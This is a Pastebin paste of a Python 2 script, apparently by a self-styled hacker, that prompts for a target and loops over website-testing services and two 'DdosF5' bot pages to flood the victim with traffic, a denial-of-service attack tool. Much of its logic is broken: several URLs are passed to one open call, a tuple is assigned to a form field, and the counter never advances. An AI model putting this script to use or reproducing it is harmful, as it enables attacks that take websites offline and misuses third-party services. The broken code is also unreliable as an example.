Advertisement
Guest User

Huệ Chip

a guest
Feb 10th, 2016
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.79 KB | None | 0 0
  1. #!usr/bin/python
  2. #===============================================#
  3.  
  4.  
  5. import sys
  6. import random
  7. import cookielib
  8. import socket
  9. import httplib
  10. import re
  11. import mechanize
  12.  
  13.  
  14.  
  15.  
  16.  
  17. print '<*>:.::.:I AM Kid:.::.:<*>'
  18. print '<*>:.::.:.DVH.:.::.:<*> '
  19.  
  20.  
  21.  
  22. victim = str(raw_input("TARGET:"))
  23. print "STOP:ctrl+c"
  24.  
  25. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  26.  
  27. ddos1 = "http://www.webpagetest.org/"
  28. ddos2 = "http://uitest.com/en/check/"
  29. ddos3 = "http://tools.pingdom.com/fpt/"
  30. ddos4 = "https://developers.google.com/speed/pagespeed/insights/"
  31. ddos5 = "http://www.websitepulse.com/help/testtools.china-test.html"
  32. ddos6 = "https://gtmetrix.com/"
  33. ddos7 = "http://nibbler.silktide.com/"
  34. ddos8 = "https://validator.w3.org/mobile/"
  35. ddos9 = "https://www.browserstack.com/screenshots"
  36. ddos10 ="https://www.ssllabs.com/ssltest/"
  37.  
  38.  
  39.  
  40. bot = "http://adminduy-bmt.com/Adminduy-DdosF5.html?v=%s&n=999" % victim
  41. bot1 = "http://www.12349.cc/uploads/file/20160108/20160108160809_57765.html?v=%s&n=999" % victim
  42.  
  43.  
  44.          
  45.          
  46.          
  47.            
  48. print "[+]ATTACKING TARGET %s" %victim
  49. br = mechanize.Browser()
  50. br.set_handle_robots(False)
  51. br.addheaders = [('User-agent', random.choice(useragents))]
  52. br.set_handle_equiv(True)
  53. br.set_handle_referer(True)
  54. br.set_handle_redirect(True)
  55. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  56. #ddos
  57. i = 0
  58. d = 0
  59. while d<1000000000000000000000000000000000000000000:
  60.     try:
  61.         site = br.open(ddos1, ddos2, ddos3, ddos4, ddos5, ddos6, ddos7, ddos8, ddos9, ddos10)
  62.         br.select_form(name="urlEntry")
  63.         br["url"] = bot, bot1
  64.         br.submit()
  65.     except KeyboardInterrupt:
  66.         print "Bye"
  67.         sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement